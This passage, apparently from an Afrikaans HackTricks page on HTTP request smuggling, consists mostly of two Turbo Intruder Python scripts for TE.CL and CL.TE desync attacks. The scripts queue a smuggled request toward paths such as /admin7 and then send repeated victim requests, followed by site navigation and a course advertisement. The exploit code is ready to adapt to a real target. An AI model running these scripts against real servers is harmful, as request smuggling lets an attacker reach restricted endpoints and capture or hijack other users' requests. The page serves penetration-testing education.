maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Gereedskap

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousHTTP Connection Request SmugglingNextBrowser HTTP Request Smuggling

Last updated